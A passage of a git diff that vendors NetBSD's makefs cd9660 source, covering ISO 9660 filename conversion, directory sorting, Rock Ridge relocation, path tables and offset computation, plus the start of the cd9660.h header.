temp = i; + while (digits > 0) { + digit = (int)(temp / powers); + temp = temp - digit * powers; + sprintf(&tmp[numbts] , "%d", digit); + digits--; + numbts++; + powers = powers / 10; + } + + while ((*naming != ';') && (numbts < maxlength)) { + tmp[numbts] = (*naming); + naming++; + numbts++; + } + + tmp[numbts] = ';'; + tmp[numbts+1] = '1'; + tmp[numbts+2] = '\0'; + + /* + * now tmp has exactly the identifier + * we want so we'll copy it back to record + */ + memcpy((iter->isoDirRecord->name), tmp, numbts + 3); + + iter = TAILQ_NEXT(iter, cn_next_child); + i++; + } + + free(tmp); + return iter; +} + +/* Todo: Figure out why these functions are nec. */ +static void +cd9660_copy_filenames(iso9660_disk *diskStructure, cd9660node *node) +{ + cd9660node *cn; + + if (TAILQ_EMPTY(&node->cn_children)) + return; + + if (TAILQ_FIRST(&node->cn_children)->isoDirRecord == NULL) { + debug_print_tree(diskStructure, diskStructure->rootNode, 0); + exit(1); + } + + TAILQ_FOREACH(cn, &node->cn_children, cn_next_child) { + cd9660_copy_filenames(diskStructure, cn); + memcpy(cn->o_name, cn->isoDirRecord->name, + ISO_FILENAME_MAXLENGTH_WITH_PADDING); + } +} + +static void +cd9660_sorting_nodes(cd9660node *node) +{ + cd9660node *cn; + + TAILQ_FOREACH(cn, &node->cn_children, cn_next_child) + cd9660_sorting_nodes(cn); + cd9660_sort_nodes(node); +} + +/* XXX Bubble sort. */ +static void +cd9660_sort_nodes(cd9660node *node) +{ + cd9660node *cn, *next; + + do { + TAILQ_FOREACH(cn, &node->cn_children, cn_next_child) { + if ((next = TAILQ_NEXT(cn, cn_next_child)) == NULL) + return; + else if (strcmp(next->isoDirRecord->name, + cn->isoDirRecord->name) >= 0) + continue; + TAILQ_REMOVE(&node->cn_children, next, cn_next_child); + TAILQ_INSERT_BEFORE(cn, next, cn_next_child); + break; + } + } while (cn != NULL); +} + +static int +cd9660_count_collisions(cd9660node *copy) +{ + int count = 0; + cd9660node *iter, *next; + + for (iter = copy; + (next = TAILQ_NEXT(iter, cn_next_child)) != NULL; + iter = next) { + if (cd9660_compare_filename(iter->isoDirRecord->name, + next->isoDirRecord->name) == 0) + count++; + else + return count; + } +#if 0 + if ((next = TAILQ_NEXT(iter, cn_next_child)) != NULL) { + printf("%s: count is %i \n", __func__, count); + compare = cd9660_compare_filename(iter->isoDirRecord->name, + next->isoDirRecord->name); + if (compare == 0) { + count++; + return cd9660_recurse_on_collision(next, count); + } else + return count; + } +#endif + return count; +} + +static cd9660node * +cd9660_rrip_move_directory(iso9660_disk *diskStructure, cd9660node *dir) +{ + char newname[9]; + cd9660node *tfile; + + /* + * This function needs to: + * 1) Create an empty virtual file in place of the old directory + * 2) Point the virtual file to the new directory + * 3) Point the relocated directory to its old parent + * 4) Move the directory specified by dir into rr_moved_dir, + * and rename it to "diskStructure->rock_ridge_move_count" (as a string) + */ + + /* First see if the moved directory even exists */ + if (diskStructure->rr_moved_dir == NULL) { + diskStructure->rr_moved_dir = cd9660_create_directory( + diskStructure, ISO_RRIP_DEFAULT_MOVE_DIR_NAME, + diskStructure->rootNode, dir); + if (diskStructure->rr_moved_dir == NULL) + return 0; + } + + /* Create a file with the same ORIGINAL name */ + tfile = cd9660_create_file(diskStructure, dir->node->name, dir->parent, + dir); + if (tfile == NULL) + return NULL; + + diskStructure->rock_ridge_move_count++; + snprintf(newname, sizeof(newname), "%08i", + diskStructure->rock_ridge_move_count); + + /* Point to old parent */ + dir->rr_real_parent = dir->parent; + + /* Place the placeholder file */ + if (TAILQ_EMPTY(&dir->rr_real_parent->cn_children)) { + TAILQ_INSERT_HEAD(&dir->rr_real_parent->cn_children, tfile, + cn_next_child); + } else { + cd9660_sorted_child_insert(dir->rr_real_parent, tfile); + } + + /* Point to new parent */ + dir->parent = diskStructure->rr_moved_dir; + + /* Point the file to the moved directory */ + tfile->rr_relocated = dir; + + /* Actually move the directory */ + cd9660_sorted_child_insert(diskStructure->rr_moved_dir, dir); + + /* TODO: Inherit permissions / ownership (basically the entire inode) */ + + /* Set the new name */ + memset(dir->isoDirRecord->name, 0, ISO_FILENAME_MAXLENGTH_WITH_PADDING); + strncpy(dir->isoDirRecord->name, newname, 8); + dir->isoDirRecord->length[0] = 34 + 8; + dir->isoDirRecord->name_len[0] = 8; + + return dir; +} + +static int +cd9660_add_dot_records(iso9660_disk *diskStructure, cd9660node *root) +{ + struct cd9660_children_head *head = &root->cn_children; + cd9660node *cn; + + TAILQ_FOREACH(cn, head, cn_next_child) { + if ((cn->type & CD9660_TYPE_DIR) == 0) + continue; + /* Recursion first */ + cd9660_add_dot_records(diskStructure, cn); + } + cd9660_create_special_directory(diskStructure, CD9660_TYPE_DOT, root); + cd9660_create_special_directory(diskStructure, CD9660_TYPE_DOTDOT, + root); + return 1; +} + +/* + * Convert node to cd9660 structure + * This function is designed to be called recursively on the root node of + * the filesystem + * Lots of recursion going on here, want to make sure it is efficient + * @param struct fsnode * The root node to be converted + * @param struct cd9660* The parent node (should not be NULL) + * @param int Current directory depth + * @param int* Running count of the number of directories that are being created + */ +static void +cd9660_convert_structure(iso9660_disk *diskStructure, fsnode *root, + cd9660node *parent_node, int level, int *numDirectories, int *error) +{ + fsnode *iterator = root; + cd9660node *this_node; + int working_level; + int add; + int flag = 0; + int counter = 0; + + /* + * Newer, more efficient method, reduces recursion depth + */ + if (root == NULL) { + warnx("%s: root is null", __func__); + return; + } + + /* Test for an empty directory - makefs still gives us the . record */ + if ((S_ISDIR(root->type)) && (root->name[0] == '.') + && (root->name[1] == '\0')) { + root = root->next; + if (root == NULL) + return; + } + if ((this_node = cd9660_allocate_cd9660node()) == NULL) { + CD9660_MEM_ALLOC_ERROR(__func__); + } + + /* + * To reduce the number of recursive calls, we will iterate over + * the next pointers to the right. + */ + while (iterator != NULL) { + add = 1; + /* + * Increment the directory count if this is a directory + * Ignore "." entries. We will generate them later + */ + if (!S_ISDIR(iterator->type) || + strcmp(iterator->name, ".") != 0) { + + /* Translate the node, including its filename */ + this_node->parent = parent_node; + cd9660_translate_node(diskStructure, iterator, + this_node); + this_node->level = level; + + if (S_ISDIR(iterator->type)) { + (*numDirectories)++; + this_node->type = CD9660_TYPE_DIR; + working_level = level + 1; + + /* + * If at level 8, directory would be at 8 + * and have children at 9 which is not + * allowed as per ISO spec + */ + if (level == 8) { + if ((!diskStructure->allow_deep_trees) && + (!diskStructure->rock_ridge_enabled)) { + warnx("error: found entry " + "with depth greater " + "than 8."); + (*error) = 1; + return; + } else if (diskStructure-> + rock_ridge_enabled) { + working_level = 3; + /* + * Moved directory is actually + * at level 2. + */ + this_node->level = + working_level - 1; + if (cd9660_rrip_move_directory( + diskStructure, + this_node) == 0) { + warnx("Failure in " + "cd9660_rrip_" + "move_directory" + ); + (*error) = 1; + return; + } + add = 0; + } + } + + /* Do the recursive call on the children */ + if (iterator->child != 0) { + cd9660_convert_structure(diskStructure, + iterator->child, this_node, + working_level, + numDirectories, error); + + if ((*error) == 1) { + warnx("%s: Error on recursive " + "call", __func__); + return; + } + } + + } else { + /* Only directories should have children */ + assert(iterator->child == NULL); + + this_node->type = CD9660_TYPE_FILE; + } + + /* + * Finally, do a sorted insert + */ + if (add) { + cd9660_sorted_child_insert( + parent_node, this_node); + } + + /*Allocate new temp_node */ + if (iterator->next != 0) { + this_node = cd9660_allocate_cd9660node(); + if (this_node == NULL) + CD9660_MEM_ALLOC_ERROR(__func__); + } + } + iterator = iterator->next; + } + + /* cd9660_handle_collisions(first_node); */ + + /* TODO: need cleanup */ + cd9660_copy_filenames(diskStructure, parent_node); + + do { + flag = cd9660_handle_collisions(diskStructure, parent_node, + counter); + counter++; + cd9660_sorting_nodes(parent_node); + } while ((flag == 1) && (counter < 100)); +} + +/* + * Clean up the cd9660node tree + * This is designed to be called recursively on the root node + * @param struct cd9660node *root The node to free + * @returns void + */ +static void +cd9660_free_structure(cd9660node *root) +{ + cd9660node *cn; + + while ((cn = TAILQ_FIRST(&root->cn_children)) != NULL) { + TAILQ_REMOVE(&root->cn_children, cn, cn_next_child); + cd9660_free_structure(cn); + } + free(root); +} + +/* + * Be a little more memory conservative: + * instead of having the TAILQ_ENTRY as part of the cd9660node, + * just create a temporary structure + */ +struct ptq_entry +{ + TAILQ_ENTRY(ptq_entry) ptq; + cd9660node *node; +} *n; + +#define PTQUEUE_NEW(n,s,r,t){\ + n = emalloc(sizeof(struct s)); \ + if (n == NULL) \ + return r; \ + n->node = t;\ +} + +/* + * Generate the path tables + * The specific implementation of this function is left as an exercise to the + * programmer. It could be done recursively. Make sure you read how the path + * table has to be laid out, it has levels. + * @param struct iso9660_disk *disk The disk image + * @returns int The number of built path tables (between 1 and 4), 0 on failure + */ +static int +cd9660_generate_path_table(iso9660_disk *diskStructure) +{ + cd9660node *cn, *dirNode = diskStructure->rootNode; + cd9660node *last = dirNode; + int pathTableSize = 0; /* computed as we go */ + int counter = 1; /* root gets a count of 0 */ + + TAILQ_HEAD(cd9660_pt_head, ptq_entry) pt_head; + TAILQ_INIT(&pt_head); + + PTQUEUE_NEW(n, ptq_entry, -1, diskStructure->rootNode); + + /* Push the root node */ + TAILQ_INSERT_HEAD(&pt_head, n, ptq); + + /* Breadth-first traversal of file structure */ + while (pt_head.tqh_first != 0) { + n = pt_head.tqh_first; + dirNode = n->node; + TAILQ_REMOVE(&pt_head, pt_head.tqh_first, ptq); + free(n); + + /* Update the size */ + pathTableSize += ISO_PATHTABLE_ENTRY_BASESIZE + + dirNode->isoDirRecord->name_len[0]+ + (dirNode->isoDirRecord->name_len[0] % 2 == 0 ? 0 : 1); + /* includes the padding bit */ + + dirNode->ptnumber=counter; + if (dirNode != last) { + last->ptnext = dirNode; + dirNode->ptprev = last; + } + last = dirNode; + + /* Push children onto queue */ + TAILQ_FOREACH(cn, &dirNode->cn_children, cn_next_child) { + /* + * Dont add the DOT and DOTDOT types to the path + * table. + */ + if ((cn->type != CD9660_TYPE_DOT) + && (cn->type != CD9660_TYPE_DOTDOT)) { + + if (S_ISDIR(cn->node->type)) { + PTQUEUE_NEW(n, ptq_entry, -1, cn); + TAILQ_INSERT_TAIL(&pt_head, n, ptq); + } + } + } + counter++; + } + return pathTableSize; +} + +void +cd9660_compute_full_filename(cd9660node *node, char *buf) +{ + int len; + + len = CD9660MAXPATH + 1; + len = snprintf(buf, len, "%s/%s/%s", node->node->root, + node->node->path, node->node->name); + if (len > CD9660MAXPATH) + errx(EXIT_FAILURE, "Pathname too long."); +} + +/* NEW filename conversion method */ +typedef int(*cd9660_filename_conversion_functor)(iso9660_disk *, const char *, + char *, int); + + +/* + * TODO: These two functions are almost identical. + * Some code cleanup is possible here + * + * XXX bounds checking! + */ +static int +cd9660_level1_convert_filename(iso9660_disk *diskStructure, const char *oldname, + char *newname, int is_file) +{ + /* + * ISO 9660 : 10.1 + * File Name shall not contain more than 8 d or d1 characters + * File Name Extension shall not contain more than 3 d or d1 characters + * Directory Identifier shall not contain more than 8 d or d1 characters + */ + int namelen = 0; + int extlen = 0; + int found_ext = 0; + + while (*oldname != '\0' && extlen < 3) { + /* Handle period first, as it is special */ + if (*oldname == '.') { + if (found_ext) { + *newname++ = '_'; + extlen ++; + } + else { + *newname++ = '.'; + found_ext = 1; + } + } else { + /* cut RISC OS file type off ISO name */ + if (diskStructure->archimedes_enabled && + *oldname == ',' && strlen(oldname) == 4) + break; + + /* Enforce 12.3 / 8 */ + if (namelen == 8 && !found_ext) + break; + + if (islower((unsigned char)*oldname)) + *newname++ = toupper((unsigned char)*oldname); + else if (isupper((unsigned char)*oldname) + || isdigit((unsigned char)*oldname)) + *newname++ = *oldname; + else + *newname++ = '_'; + + if (found_ext) + extlen++; + else + namelen++; + } + oldname++; + } + if (is_file) { + if (!found_ext && !diskStructure->omit_trailing_period) + *newname++ = '.'; + /* Add version */ + sprintf(newname, ";%i", 1); + } + return namelen + extlen + found_ext; +} + +/* XXX bounds checking! */ +static int +cd9660_level2_convert_filename(iso9660_disk *diskStructure, const char *oldname, + char *newname, int is_file) +{ + /* + * ISO 9660 : 7.5.1 + * File name : 0+ d or d1 characters + * separator 1 (.) + * File name extension : 0+ d or d1 characters + * separator 2 (;) + * File version number (5 characters, 1-32767) + * 1 <= Sum of File name and File name extension <= 30 + */ + int namelen = 0; + int extlen = 0; + int found_ext = 0; + + while (*oldname != '\0' && namelen + extlen < 30) { + /* Handle period first, as it is special */ + if (*oldname == '.') { + if (found_ext) { + if (diskStructure->allow_multidot) { + *newname++ = '.'; + } else { + *newname++ = '_'; + } + extlen ++; + } + else { + *newname++ = '.'; + found_ext = 1; + } + } else { + /* cut RISC OS file type off ISO name */ + if (diskStructure->archimedes_enabled && + *oldname == ',' && strlen(oldname) == 4) + break; + + if (islower((unsigned char)*oldname)) + *newname++ = toupper((unsigned char)*oldname); + else if (isupper((unsigned char)*oldname) || + isdigit((unsigned char)*oldname)) + *newname++ = *oldname; + else if (diskStructure->allow_multidot && + *oldname == '.') { + *newname++ = '.'; + } else { + *newname++ = '_'; + } + + if (found_ext) + extlen++; + else + namelen++; + } + oldname ++; + } + if (is_file) { + if (!found_ext && !diskStructure->omit_trailing_period) + *newname++ = '.'; + /* Add version */ + sprintf(newname, ";%i", 1); + } + return namelen + extlen + found_ext; +} + +#if 0 +static int +cd9660_joliet_convert_filename(iso9660_disk *diskStructure, const char *oldname, + char *newname, int is_file) +{ + /* TODO: implement later, move to cd9660_joliet.c ?? */ +} +#endif + + +/* + * Convert a file name to ISO compliant file name + * @param char * oldname The original filename + * @param char ** newname The new file name, in the appropriate character + * set and of appropriate length + * @param int 1 if file, 0 if directory + * @returns int The length of the new string + */ +static int +cd9660_convert_filename(iso9660_disk *diskStructure, const char *oldname, + char *newname, int is_file) +{ + /* NEW */ + cd9660_filename_conversion_functor conversion_function = 0; + if (diskStructure->isoLevel == 1) + conversion_function = &cd9660_level1_convert_filename; + else if (diskStructure->isoLevel == 2) + conversion_function = &cd9660_level2_convert_filename; + return (*conversion_function)(diskStructure, oldname, newname, is_file); +} + +int +cd9660_compute_record_size(iso9660_disk *diskStructure, cd9660node *node) +{ + int size = node->isoDirRecord->length[0]; + + if (diskStructure->rock_ridge_enabled) + size += node->susp_entry_size; + size += node->su_tail_size; + size += size & 1; /* Ensure length of record is even. */ + assert(size <= 254); + return size; +} + +static void +cd9660_populate_dot_records(iso9660_disk *diskStructure, cd9660node *node) +{ + node->dot_record->fileDataSector = node->fileDataSector; + memcpy(node->dot_record->isoDirRecord,node->isoDirRecord, 34); + node->dot_record->isoDirRecord->name_len[0] = 1; + node->dot_record->isoDirRecord->name[0] = 0; + node->dot_record->isoDirRecord->name[1] = 0; + node->dot_record->isoDirRecord->length[0] = 34; + node->dot_record->fileRecordSize = + cd9660_compute_record_size(diskStructure, node->dot_record); + + if (node == diskStructure->rootNode) { + node->dot_dot_record->fileDataSector = node->fileDataSector; + memcpy(node->dot_dot_record->isoDirRecord,node->isoDirRecord, + 34); + } else { + node->dot_dot_record->fileDataSector = + node->parent->fileDataSector; + memcpy(node->dot_dot_record->isoDirRecord, + node->parent->isoDirRecord,34); + } + node->dot_dot_record->isoDirRecord->name_len[0] = 1; + node->dot_dot_record->isoDirRecord->name[0] = 1; + node->dot_dot_record->isoDirRecord->name[1] = 0; + node->dot_dot_record->isoDirRecord->length[0] = 34; + node->dot_dot_record->fileRecordSize = + cd9660_compute_record_size(diskStructure, node->dot_dot_record); +} + +/* + * @param struct cd9660node *node The node + * @param int The offset (in bytes) - SHOULD align to the beginning of a sector + * @returns int The total size of files and directory entries (should be + * a multiple of sector size) +*/ +static int64_t +cd9660_compute_offsets(iso9660_disk *diskStructure, cd9660node *node, + int64_t startOffset) +{ + /* + * This function needs to compute the size of directory records and + * runs, file lengths, and set the appropriate variables both in + * cd9660node and isoDirEntry + */ + int64_t used_bytes = 0; + int64_t current_sector_usage = 0; + cd9660node *child; + fsinode *inode; + int64_t r; + + assert(node != NULL); + + + /* + * NOTE : There needs to be some special case detection for + * the "real root" node, since for it, node->node is undefined + */ + + node->fileDataSector = -1; + + if (node->type & CD9660_TYPE_DIR) { + node->fileRecordSize = cd9660_compute_record_size( + diskStructure, node); + /*Set what sector this directory starts in*/ + node->fileDataSector = + CD9660_BLOCKS(diskStructure->sectorSize,startOffset); + + cd9660_bothendian_dword(node->fileDataSector, + node->isoDirRecord->extent); + + /* + * First loop over children, need to know the size of + * their directory records + */ + node->fileSectorsUsed = 1; + TAILQ_FOREACH(child, &node->cn_children, cn_next_child) { + node->fileDataLength += + cd9660_compute_record_size(diskStructure, child); + if ((cd9660_compute_record_size(diskStructure, child) + + current_sector_usage) >= + diskStructure->sectorSize) { + current_sector_usage = 0; + node->fileSectorsUsed++; + } + + current_sector_usage += + cd9660_compute_record_size(diskStructure, child); + } + + cd9660_bothendian_dword(node->fileSectorsUsed * + diskStructure->sectorSize,node->isoDirRecord->size); + + /* + * This should point to the sector after the directory + * record (or, the first byte in that sector) + */ + used_bytes += node->fileSectorsUsed * diskStructure->sectorSize; + + for (child = TAILQ_NEXT(node->dot_dot_record, cn_next_child); + child != NULL; child = TAILQ_NEXT(child, cn_next_child)) { + /* Directories need recursive call */ + if (S_ISDIR(child->node->type)) { + r = cd9660_compute_offsets(diskStructure, child, + used_bytes + startOffset); + + if (r != -1) + used_bytes += r; + else + return -1; + } + } + + /* Explicitly set the . and .. records */ + cd9660_populate_dot_records(diskStructure, node); + + /* Finally, do another iteration to write the file data*/ + for (child = TAILQ_NEXT(node->dot_dot_record, cn_next_child); + child != NULL; + child = TAILQ_NEXT(child, cn_next_child)) { + /* Files need extent set */ + if (S_ISDIR(child->node->type)) + continue; + child->fileRecordSize = + cd9660_compute_record_size(diskStructure, child); + + child->fileSectorsUsed = + CD9660_BLOCKS(diskStructure->sectorSize, + child->fileDataLength); + + inode = child->node->inode; + if ((inode->flags & FI_ALLOCATED) == 0) { + inode->ino = + CD9660_BLOCKS(diskStructure->sectorSize, + used_bytes + startOffset); + inode->flags |= FI_ALLOCATED; + used_bytes += child->fileSectorsUsed * + diskStructure->sectorSize; + } else { + INODE_WARNX(("%s: already allocated inode %d " + "data sectors at %" PRIu32, __func__, + (int)inode->st.st_ino, inode->ino)); + } + child->fileDataSector = inode->ino; + cd9660_bothendian_dword(child->fileDataSector, + child->isoDirRecord->extent); + } + } + + return used_bytes; +} + +#if 0 +/* Might get rid of this func */ +static int +cd9660_copy_stat_info(cd9660node *from, cd9660node *to, int file) +{ + to->node->inode->st.st_dev = 0; + to->node->inode->st.st_ino = 0; + to->node->inode->st.st_size = 0; + to->node->inode->st.st_blksize = from->node->inode->st.st_blksize; + to->node->inode->st.st_atime = from->node->inode->st.st_atime; + to->node->inode->st.st_mtime = from->node->inode->st.st_mtime; + to->node->inode->st.st_ctime = from->node->inode->st.st_ctime; + to->node->inode->st.st_uid = from->node->inode->st.st_uid; + to->node->inode->st.st_gid = from->node->inode->st.st_gid; + to->node->inode->st.st_mode = from->node->inode->st.st_mode; + /* Clear out type */ + to->node->inode->st.st_mode = to->node->inode->st.st_mode & ~(S_IFMT); + if (file) + to->node->inode->st.st_mode |= S_IFREG; + else + to->node->inode->st.st_mode |= S_IFDIR; + return 1; +} +#endif + +static cd9660node * +cd9660_create_virtual_entry(iso9660_disk *diskStructure, const char *name, + cd9660node *parent, int file, int insert) +{ + cd9660node *temp; + fsnode * tfsnode; + + assert(parent != NULL); + + temp = cd9660_allocate_cd9660node(); + if (temp == NULL) + return NULL; + + tfsnode = emalloc(sizeof(*tfsnode)); + tfsnode->name = estrdup(name); + temp->isoDirRecord = emalloc(sizeof(*temp->isoDirRecord)); + + cd9660_convert_filename(diskStructure, tfsnode->name, + temp->isoDirRecord->name, file); + + temp->node = tfsnode; + temp->parent = parent; + + if (insert) { + if (temp->parent != NULL) { + temp->level = temp->parent->level + 1; + if (!TAILQ_EMPTY(&temp->parent->cn_children)) + cd9660_sorted_child_insert(temp->parent, temp); + else + TAILQ_INSERT_HEAD(&temp->parent->cn_children, + temp, cn_next_child); + } + } + + if (parent->node != NULL) { + tfsnode->type = parent->node->type; + } + + /* Clear out file type bits */ + tfsnode->type &= ~(S_IFMT); + if (file) + tfsnode->type |= S_IFREG; + else + tfsnode->type |= S_IFDIR; + + /* Indicate that there is no spec entry (inode) */ + tfsnode->flags &= ~(FSNODE_F_HASSPEC); +#if 0 + cd9660_copy_stat_info(parent, temp, file); +#endif + return temp; +} + +static cd9660node * +cd9660_create_file(iso9660_disk *diskStructure, const char *name, + cd9660node *parent, cd9660node *me) +{ + cd9660node *temp; + + temp = cd9660_create_virtual_entry(diskStructure, name, parent, 1, 1); + if (temp == NULL) + return NULL; + + temp->fileDataLength = 0; + + temp->type = CD9660_TYPE_FILE | CD9660_TYPE_VIRTUAL; + + temp->node->inode = ecalloc(1, sizeof(*temp->node->inode)); + *temp->node->inode = *me->node->inode; + + if (cd9660_translate_node_common(diskStructure, temp) == 0) + return NULL; + return temp; +} + +/* + * Create a new directory which does not exist on disk + * @param const char * name The name to assign to the directory + * @param const char * parent Pointer to the parent directory + * @returns cd9660node * Pointer to the new directory + */ +static cd9660node * +cd9660_create_directory(iso9660_disk *diskStructure, const char *name, + cd9660node *parent, cd9660node *me) +{ + cd9660node *temp; + + temp = cd9660_create_virtual_entry(diskStructure, name, parent, 0, 1); + if (temp == NULL) + return NULL; + temp->node->type |= S_IFDIR; + + temp->type = CD9660_TYPE_DIR | CD9660_TYPE_VIRTUAL; + + temp->node->inode = ecalloc(1, sizeof(*temp->node->inode)); + *temp->node->inode = *me->node->inode; + + if (cd9660_translate_node_common(diskStructure, temp) == 0) + return NULL; + return temp; +} + +static cd9660node * +cd9660_create_special_directory(iso9660_disk *diskStructure, u_char type, + cd9660node *parent) +{ + cd9660node *temp, *first; + char na[2]; + + assert(parent != NULL); + + if (type == CD9660_TYPE_DOT) + na[0] = 0; + else if (type == CD9660_TYPE_DOTDOT) + na[0] = 1; + else + return 0; + + na[1] = 0; + if ((temp = cd9660_create_virtual_entry(diskStructure, na, parent, + 0, 0)) == NULL) + return NULL; + + temp->parent = parent; + temp->type = type; + temp->isoDirRecord->length[0] = 34; + /* Dot record is always first */ + if (type == CD9660_TYPE_DOT) { + parent->dot_record = temp; + TAILQ_INSERT_HEAD(&parent->cn_children, temp, cn_next_child); + /* DotDot should be second */ + } else if (type == CD9660_TYPE_DOTDOT) { + parent->dot_dot_record = temp; + /* + * If the first child is the dot record, insert + * this second. Otherwise, insert it at the head. + */ + if ((first = TAILQ_FIRST(&parent->cn_children)) == NULL || + (first->type & CD9660_TYPE_DOT) == 0) { + TAILQ_INSERT_HEAD(&parent->cn_children, temp, + cn_next_child); + } else { + TAILQ_INSERT_AFTER(&parent->cn_children, first, temp, + cn_next_child); + } + } + + return temp; +} + +static int +cd9660_add_generic_bootimage(iso9660_disk *diskStructure, const char *bootimage) +{ + struct stat stbuf; + + assert(bootimage != NULL); + + if (*bootimage == '\0') { + warnx("Error: Boot image must be a filename"); + return 0; + } + + diskStructure->generic_bootimage = estrdup(bootimage); + + /* Get information about the file */ + if (lstat(diskStructure->generic_bootimage, &stbuf) == -1) + err(EXIT_FAILURE, "%s: lstat(\"%s\")", __func__, + diskStructure->generic_bootimage); + + if (stbuf.st_size > 32768) { + warnx("Error: Boot image must be no greater than 32768 bytes"); + return 0; + } + + if (diskStructure->verbose_level > 0) { + printf("Generic boot image image has size %lld\n", + (long long)stbuf.st_size); + } + + diskStructure->has_generic_bootimage = 1; + + return 1; +} diff --git a/thirdparty/makefs/cd9660.h b/thirdparty/makefs/cd9660.h new file mode 100644 index 0000000..ef9f44f --- /dev/null +++ b/thirdparty/makefs/cd9660.h @@ -0,0 +1,357 @@ +/* $NetBSD: cd9660.h,v 1.20 2013/01/29 15:52:25 christos Exp $ */ + +/* + * Copyright (c) 2005 Daniel Watt, Walter Deignan, Ryan Gabrys, Alan + * Perez-Rathke and Ram Vedam. All rights reserved. + * + * This code was written by Daniel Watt, Walter Deignan, Ryan Gabrys, + * Alan Perez-Rathke and Ram Vedam. + * + * Redistribution and use in source and binary forms, with or + * without modification, are permitted provided that the following + * conditions are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY DANIEL WATT, WALTER DEIGNAN, RYAN + * GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL DANIEL WATT, WALTER DEIGNAN, RYAN + * GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF + * USE,DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY + * OF SUCH DAMAGE. + */ + +#ifndef _MAKEFS_CD9660_H +#define _MAKEFS_CD9660_H + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "makefs.h" +#include "iso.h" +#include "iso_rrip.h" +#include "cd9660/cd9660_eltorito.h" + +#ifdef DEBUG +#define INODE_WARNX(__x) warnx __x +#else /* DEBUG */ +#define INODE_WARNX(__x) +#endif /* DEBUG */ + +#define CD9660MAXPATH 4096 + +#define ISO_STRING_FILTER_NONE = 0x00 +#define ISO_STRING_FILTER_DCHARS = 0x01 +#define ISO_STRING_FILTER_ACHARS = 0x02 + +/* +Extended preferences type, in the spirit of what makefs gives us (only ints) +*/ +typedef struct { + const char *shortName; /* Short option */ + const char *name; /* option name */ + char *value; /* where to stuff the value */ + int minLength; /* minimum for value */ + int maxLength; /* maximum for value */ + const char *desc; /* option description */ + int filterFlags; +} string_option_t; + +/******** STRUCTURES **********/ + +/*Defaults*/ +#define ISO_DEFAULT_VOLUMEID "MAKEFS_CD9660_IMAGE" +#define ISO_DEFAULT_APPID "MAKEFS" +#define ISO_DEFAULT_PUBLISHER "MAKEFS" +#define ISO_DEFAULT_PREPARER "MAKEFS" + +#define ISO_VOLUME_DESCRIPTOR_STANDARD_ID "CD001" +#define ISO_VOLUME_DESCRIPTOR_BOOT 0 +#define ISO_VOLUME_DESCRIPTOR_PVD 1 +#define ISO_VOLUME_DESCRIPTOR_TERMINATOR 255 + +/*30 for name and extension, as well as version number and padding bit*/ +#define ISO_FILENAME_MAXLENGTH_BEFORE_VERSION 30 +#define ISO_FILENAME_MAXLENGTH 36 +#define ISO_FILENAME_MAXLENGTH_WITH_PADDING 37 + +#define ISO_FLAG_CLEAR 0x00 +#define ISO_FLAG_HIDDEN 0x01 +#define ISO_FLAG_DIRECTORY 0x02 +#define ISO_FLAG_ASSOCIATED 0x04 +#define ISO_FLAG_PERMISSIONS 0x08 +#define ISO_FLAG_RESERVED5 0x10 +#define ISO_FLAG_RESERVED6 0x20 +#define ISO_FLAG_FINAL_RECORD 0x40 + +#define ISO_PATHTABLE_ENTRY_BASESIZE 8 + +#define ISO_RRIP_DEFAULT_MOVE_DIR_NAME "RR_MOVED" +#define RRIP_DEFAULT_MOVE_DIR_NAME ".rr_moved" + +#define CD9660_BLOCKS(__sector_size, __bytes) \ + howmany((__bytes), (__sector_size)) + +#define CD9660_MEM_ALLOC_ERROR(_F) \ + err(EXIT_FAILURE, "%s, %s l. %d", _F, __FILE__, __LINE__) + +#define CD9660_TYPE_FILE 0x01 +#define CD9660_TYPE_DIR 0x02 +#define CD9660_TYPE_DOT 0x04 +#define CD9660_TYPE_DOTDOT 0x08 +#define CD9660_TYPE_VIRTUAL 0x80 + +#define CD9660_INODE_HASH_SIZE 1024 +#define CD9660_SECTOR_SIZE 2048 + +#define CD9660_END_PADDING 150 + +/* Slight modification of the ISO structure in iso.h */ +typedef struct _iso_directory_record_cd9660 { + u_char length [ISODCL (1, 1)]; /* 711 */ + u_char ext_attr_length [ISODCL (2, 2)]; /* 711 */ + u_char extent [ISODCL (3, 10)]; /* 733 */ + u_char size [ISODCL (11, 18)]; /* 733 */ + u_char date [ISODCL (19, 25)]; /* 7 by 711 */ + u_char flags [ISODCL (26, 26)]; + u_char file_unit_size [ISODCL (27, 27)]; /* 711 */ + u_char interleave [ISODCL (28, 28)]; /* 711 */ + u_char volume_sequence_number [ISODCL (29, 32)]; /* 723 */ + u_char name_len [ISODCL (33, 33)]; /* 711 */ + char name [ISO_FILENAME_MAXLENGTH_WITH_PADDING]; +} iso_directory_record_cd9660; + +/* TODO: Lots of optimization of this structure */ +typedef struct _cd9660node { + u_char type;/* Used internally */ + /* Tree structure */ + struct _cd9660node *parent; /* parent (NULL if root) */ + TAILQ_HEAD(cd9660_children_head, _cd9660node) cn_children; + TAILQ_ENTRY(_cd9660node) cn_next_child; + + struct _cd9660node *dot_record; /* For directories, used mainly in RRIP */ + struct _cd9660node *dot_dot_record; + + fsnode *node; /* pointer to fsnode */ + struct _iso_directory_record_cd9660 *isoDirRecord; + struct iso_extended_attributes 